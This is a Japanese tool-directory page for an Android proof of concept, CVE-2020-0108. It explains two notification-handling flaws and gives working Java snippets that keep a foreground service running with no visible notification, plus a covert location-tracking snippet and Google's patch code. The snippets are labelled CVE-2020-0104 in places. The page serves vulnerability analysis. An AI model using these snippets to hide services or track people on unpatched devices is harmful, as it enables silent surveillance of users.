Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ServiceCheater — CVE-2020-0108のPoC | Kitploit
ツール/GitHubGitHub/crackercat/servicecheater
Androidセキュリティ特権昇格脆弱性分析エクスプロイトペネトレーションテストモバイルセキュリティ
GitHubcrackercat/servicecheater

ServiceCheater

CVE-2020-0108のPoC

リポジトリを見る
11136年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-0108 フォアグラウンドサービスの権限昇格脆弱性の分析

1. 脆弱性の背景

  • AOSPの2020-08パッチで、フレームワーク層のAMSにおける脆弱性が開示されました。番号はCVE-2020-0108で、評価はHighです。AMSにおけるフォアグラウンドサービスの処理にロジック上の脆弱性があり、この脆弱性を悪用した攻撃者はフォアグラウンドサービスの通知表示を回避してバックグラウンドで実行を継続できます。攻撃はローカルの悪意のあるアプリによって開始され、ユーザー操作は不要です。ユーザーがアプリに他の権限を付与している場合、位置情報の継続的な追跡やサイレント録音など、より大きな被害を引き起こす可能性があります。

2. 脆弱性の詳細

  • フォアグラウンドサービスはGoogleがAndroid 8.0で導入した概念です。Android 8.0ではバックグラウンドでのバックグラウンドサービスの起動が許可されていないため、フォアグラウンドサービスの概念が設計されました。フォアグラウンドサービスは優先度が高く、長時間バックグラウンドで実行できますが、起動後5秒以内に通知をバインドする必要があり、そうしないと強制終了されます。実際にはフォアグラウンドサービスも「バックグラウンド」で実行されていますが、ユーザーに見える通知がバインドされているため、Googleはこれを「フォアグラウンドサービス」と呼んでいます。
  • この脆弱性には2つの攻撃方法があり、それぞれ2つのロジック上の脆弱性に対応しています。
  • 1つ目の脆弱性は、NotificationManagerServiceのonNotificationErrorメソッドが通知表示中の例外を正しく処理していないことです。
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • この場合、フォアグラウンドサービス起動後、通知を正しく表示できなくてもフォアグラウンドサービスは終了しません。たとえば、フォアグラウンドサービスが通知の作成時にカスタムレイアウトを使用し、RemoteViewsオブジェクトの構築時に存在しないresID値を渡すと、NotificationManagerServiceが通知のレイアウトを解析する際に失敗して例外がスローされ、onNotificationErrorメソッドが呼び出されます。onNotificationErrorメソッドではcancelNotificationメソッドを呼び出して通知をキャンセルするだけで、サービスやアプリケーション全体を終了させないため、フォアグラウンドサービスは通知を表示しないまま実行を継続できます。
  • 2つ目の脆弱性は、ServiceRecordのpostNotificationメソッドが通知表示中の例外を正しく処理せず、例外をユーザープログラムにスローしてしまうことです。
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • この場合、フォアグラウンドサービス起動後、ユーザープログラムがメインスレッドの例外を捕捉すると、通知を正しく表示できなくてもフォアグラウンドサービスは終了しません。たとえば、フォアグラウンドサービスが通知の作成時に不正なChannel IDを渡すと、ServiceRecordのpostNotificationメソッドで通知を送信する際に例外がスローされます。例外処理ではAMSのcrashApplicationメソッドを呼び出してアプリにメインスレッドの例外をスローするだけですが、アプリがメインスレッドで例外を捕捉するとアプリはクラッシュしません。このとき、フォアグラウンドサービスは通知を表示しないまま実行を継続できます。

3. 脆弱性の検証

  • 1つ目の脆弱性は、フォアグラウンドサービスで以下のコードを使用してトリガーできます
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • RemoteViewsオブジェクトの作成時にLayout IDを-1に指定しています。これは明らかに不正な値であり、これによりonNotificationErrorコールバックをトリガーできます。
  • 2つ目の脆弱性は、フォアグラウンドサービスで以下のコードを使用してトリガーできます
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • 今回はNotificationChannelオブジェクトを作成せずに、無効なChannel IDを直接使用してNotificationを構築しました。これによりpostNotificationメソッドの例外をトリガーし、その後メインスレッドの例外を捕捉するので、アプリはクラッシュしません。

4. 脆弱性の影響

  • この脆弱性を悪用すると、悪意のあるアプリはバックグラウンドで高優先度のフォアグラウンドサービスを静かに起動し、実行を継続できます。
  • より大きな影響は、アプリが位置情報権限を利用してユーザーを追跡できることです。フォアグラウンドサービスを使用しているため、「位置情報へのアクセスをアプリの使用中のみ許可」を選択していても、「バックグラウンド」で位置追跡が可能であり、ユーザーは感知できません。
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. 脆弱性のパッチ

  • Googleは2020-08パッチでこの脆弱性を修正しました。主な変更は、onNotificationErrorコールバックでアプリを強制的にクラッシュさせること、およびpostNotificationメソッドの例外処理でもアプリを強制的にクラッシュさせることです。crashApplicationメソッドのforce=trueの強制モードでは、AMSは例外がスローされてから5秒以内にアプリを強制終了します。アプリが例外を捕捉した場合でも同様です。
  • onNotificationErrorメソッドでcrashApplicationメソッドを呼び出してアプリをクラッシュさせ、force=trueとしています。
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • postNotificationメソッドの例外処理でkillMisbehavingServiceメソッドを呼び出し、不正な動作をするサービスを強制終了します
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • killMisbehavingServiceメソッド内では、ロックに加えてcrashApplicationメソッドも呼び出しています
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • force=trueの処理は以下のとおりで、例外がスローされてから5秒以内にアプリを強制終了します
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
ツールをダウンロード